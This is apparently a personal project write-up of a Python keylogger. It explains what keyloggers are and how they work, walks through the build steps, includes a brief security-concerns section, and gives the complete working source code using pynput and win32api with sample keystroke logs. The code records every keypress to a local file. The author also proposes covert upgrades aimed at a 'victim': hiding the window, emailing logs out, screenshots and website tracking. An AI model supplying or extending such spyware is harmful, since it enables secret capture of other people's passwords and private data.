KEYLOGGER

What is a Keylogger?

A Keylogger software or hardware is a monitoring tool that is intended for recording keystrokes made by a user. It is one of the oldest forms of cyber security threat. The keystroke loggers are able to record information that is typed into an application or a website and send that information back to third parties.

Keyloggers can be used to steal financial or personal information that can be sold or used for profit. But that doesn't take away from the fact that they can also be used legitimately within businesses and organizations to troubleshoot, monitor employees, improve user experience, surveillance, and more. Regardless of its use, Keyloggers are typically used without the user's knowledge and consent.

How do Keyloggers Work?

As already explained, Keyloggers collect data and send them back to a third party. They leverage algorithms to monitor the keyboard strokes with the help of pattern recognition and other techniques.

The volume of information collected can vary from software to software. The most basic form of data collection is the information that is typed into an application or a website. The more complicated ones include recording everything that is typed no matter the platform or medium; even copy and pasted content.

Keyloggers that, especially, target mobile devices go so far as to record audio calls. They also assemble information from the messaging applications, screengrabs, GPS, microphone data, as well as camera capture.

Data that is captured by the Keyloggers are then, sent to the attackers in the form of an email or by uploading the log data to databases, websites, or FTP servers that are predefined. If the Keylogger is part of a large attack, the attackers can remotely log into a machine to download the keystroke data.

Info about my keylogger:

- I made a program that records the keys I type on my computer. It uses two libraries, **win32api** and **pynput.keyboard**, to capture and log the keys.
- I defined three functions to help with this. The first function, **on_press**, is called every time I press a key. It keeps track of how many keys I press and adds them to a list. When I press a certain number of keys, the program calls the second function, **write_file**, to save the keys I pressed to a file called "keylogger_log.txt".
- The **write_file** function opens the log file and writes the keys I pressed to it. It knows how to handle special keys, spaces, and enters differently, and it also knows how to recognize the F1 through F12 keys.
- For better readability of the log file, instead of logging the space and enter keys as their default names, I made the code put spaces for <space> key and add a new line for <enter> key.
- The third function, **on_release**, is called every time I release a key. If I press the Escape key, the function closes the log file and stops the program.
- Finally, I set up the keylogger using the **with** statement and a **Listener** object. The **Listener** object listens for keys being pressed and released, and calls the **on_press** and **on_release** functions when it hears them. The keylogger will run until I press the Escape key.

This is a very basic keylogger program. We can add various functionalities into this program such as:

- Hide the terminal window opened when this is run as an .exe file.
- Log the exact time a key was pressed.
- Share the log file as an email attachment to our personal email so that we don't need to use the victim machine to get our log file. Instead, it is automatically shared periodically.
- We can track the mouse movements of out victim as well.
- Screenshot capture is also possible at a fixed interval (defined by us).
- One of the most useful features is website logging. We can make a log of all the sites our victim visits.

Steps involved in creating the keylogger program:

1. Import the necessary libraries: The first step in creating the keylogger is to import the necessary libraries. The **win32api** library is used to check for the F1 through F12 keys, and the **Key** and **Listener** classes from the **pynput.keyboard** library are used to capture and log keystrokes.
2. Declare variables: The program declares several variables that will be used throughout the keylogger. The **count** variable is used to keep track of the number of keys pressed, and the **keys** list is used to store the keys that have been pressed. The **special_keys** list is used to store a list of special keys that need to be handled differently when logging.
3. Define the **on_press** function: This function is called every time a key is pressed. It increments the **count** variable and appends the key to the **keys** list. If the **count** reaches a certain threshold, the function calls the **write_file** function to log the keys and resets the **count** and **keys** variables.
4. Define the **write_file** function: This function is called when the **count** threshold is reached. It opens the log file "keylogger_log.txt" in append mode, and writes the keys stored in the **keys** list to the file. The function handles special keys, spaces, and enters differently. It also checks for the F1 through F12 keys using the **win32api** library. If an F1 through F12 key is detected, the function writes a string containing the key name to the log file.
5. Define the **on_release** function: This function is called every time a key is released. If the key released is the Escape key, the function closes the log file and ends the keylogger.
6. Set up the keylogger: The program uses the **with** statement to create a **Listener** object and start listening for key events. The **on_press** and **on_release** functions are passed as arguments to the **Listener** object, and the **join** method is called to keep the keylogger running until the Escape key is pressed.

Security Concerns:

Keyloggers can be a serious security concern, as they can be used to steal sensitive information and compromise the security of a computer or network. If you suspect that your computer has been infected with a keylogger, it is important to take steps to remove the program and protect your information.

There are several security concerns associated with keyloggers:

1. Privacy invasion: Keyloggers can be used to capture sensitive information such as passwords and credit card numbers, and can be used to monitor a person's online activities.
2. Information theft: Keyloggers can be used to steal sensitive information, such as passwords and credit card numbers, and can be used to gain unauthorized access to accounts and systems.
3. System compromise: Keyloggers can be used to compromise the security of a computer or network by allowing an attacker to gain access to sensitive information and systems.
4. Legal issues: In some countries, it is illegal to use keyloggers without the knowledge and consent of the person being monitored.

In summary, keyloggers are malicious software programs that can pose a serious threat to the security and privacy of individuals and organizations. It is important to protect yourself against keyloggers by using antivirus software, keeping your operating system and other software up to date, and being cautious when downloading and installing programs.

KEYLOGGER PROGRAM IN PYTHON

```
import win32api
from pynput.keyboard import Key, Listener       # Import required libraries

count = 0           # Keep count of keys pressed
keys = []           # List of keys pressed which will be later printed in log

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1
    print(f"{key} pressed ")         # Used while debugging for readability

    # Save keywords after every particular number (count)
    if count >= 1:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    special_keys = ['shift', 'alt', 'ctrl', 'caps_lock', 'tab']  # list of special keys

    with open("keylogger_log.txt", "a+") as f:
        for key in keys:
            k = str(key).replace("'", "")       # Replace ' ' with spaces for readability

            # Check if key is a special key
            if any(s in k for s in special_keys):
                f.write(f"\t{key} ")

            elif k.find("space") > 0:       # For Space leave actual space
                f.write(" ")

            elif k.find("enter") > 0:       # For Enter goto newline
                f.write("\n")

            elif k.find("Key") == -1:       # For any key not found
                f.write(k)


            # List of virtual key codes for F1 through F12 keys
            f_keys = [0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A,
0x7B]

            # Check for F1 through F12 keys
            for vk_code in f_keys:
                if win32api.GetAsyncKeyState(vk_code) & 1:
                    f.write(f"[F{f_keys.index(vk_code) + 1}]")

def on_release(key):
    if key == Key.esc:
        print("\nEsc key was pressed!\n")     # Used for checking while debugging (Can
Comment Out Later)

        with open("keylogger_log.txt", "a") as f: f.write("\nEsc key was pressed!\n\n")
        return False                    # Show end of log when ESC key is pressed
    else:
        return True

with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()             # Keep it working until Esc key is pressed
```

KEYLOGGER LOG FILE

```
hi my name is    Key.shift Anshul Key.shift I want to test this     Key.shift ! tab=
, caps =  shift -Key.shift
Esc key was pressed!

tab = , caps =
Esc key was pressed!

      Key.ctrl_l  Key.ctrl_r  Key.alt_l   Key.ctrl_l  Key.alt_gr  Key.ctrl_l \x13
      Key.ctrl_l \x01  Key.ctrl_l \x02\x03\x04\x05
Esc key was pressed!

tab = [tab]
caps = [caps lock][caps lock]
Esc key was pressed!

capslock =  Key.caps_lock    Key.caps_lock    Key.ctrl_l \x13
Esc key was pressed!hi my name

hi my name is    Key.shift Anshul Key.shift ! Key.caps_lock    Key.caps_lock
      Key.ctrl_l  Key.alt_l   Key.ctrl_r  Key.ctrl_l  Key.alt_gr  Key.shift_r
      Key.shift

 .    Key.shift ? Key.shift <>:
"     Key.shift ~`/*-+<255><255><255><255>ppshoo
p     Key.ctrl_l \x14why is fn key not detected in keylogger
      Key.ctrl_l \x17function key not working in ths is
      Key.ctrl_l function key is not working he     Key.ctrl_l  detecting
, ""function     Key.ctrl_l \x13
Esc key was pressed!

      <shift>    <Key.caps_lock>  <Key.caps_lock>
      <Key.shift_r>    <Key.ctrl_r>     <Key.ctrl_l>     <Key.alt_gr>
      <Key.alt_l><255>
Esc key was pressed!

<255><255><255><255><255><255><255>
Esc key was pressed!


Esc key was pressed!

      <Key.ctrl_l>     <Key.alt_l>
Esc key was pressed!

<255><255><255>
Esc key was pressed!

<255>
Esc key was pressed!


Esc key was pressed!

[<96><96>
Esc key was pressed!
```

```
ansjbwx v[F5][F6][F7][F5][F9]fn   Key.shift _keypressef
Esc key was pressed!

now we check for just ""fn"" key, here -

Esc key was pressed!

""
Esc key was pressed!

12[F3][F3]<255><255><255><255><255><255><255><255>[F1][F1]
Esc key was pressed!

<255><255><255>
Esc key was pressed!

<97><97><98><99><100><101><102><103><104><105><104><100><100><100>haxbv
      Key.caps_lock

Esc key was pressed!

      Key.tab    Key.caps_lock  ihb
Esc key was pressed!

[F7][F9][F10][F6][F11][F10]
Esc key was pressed!
```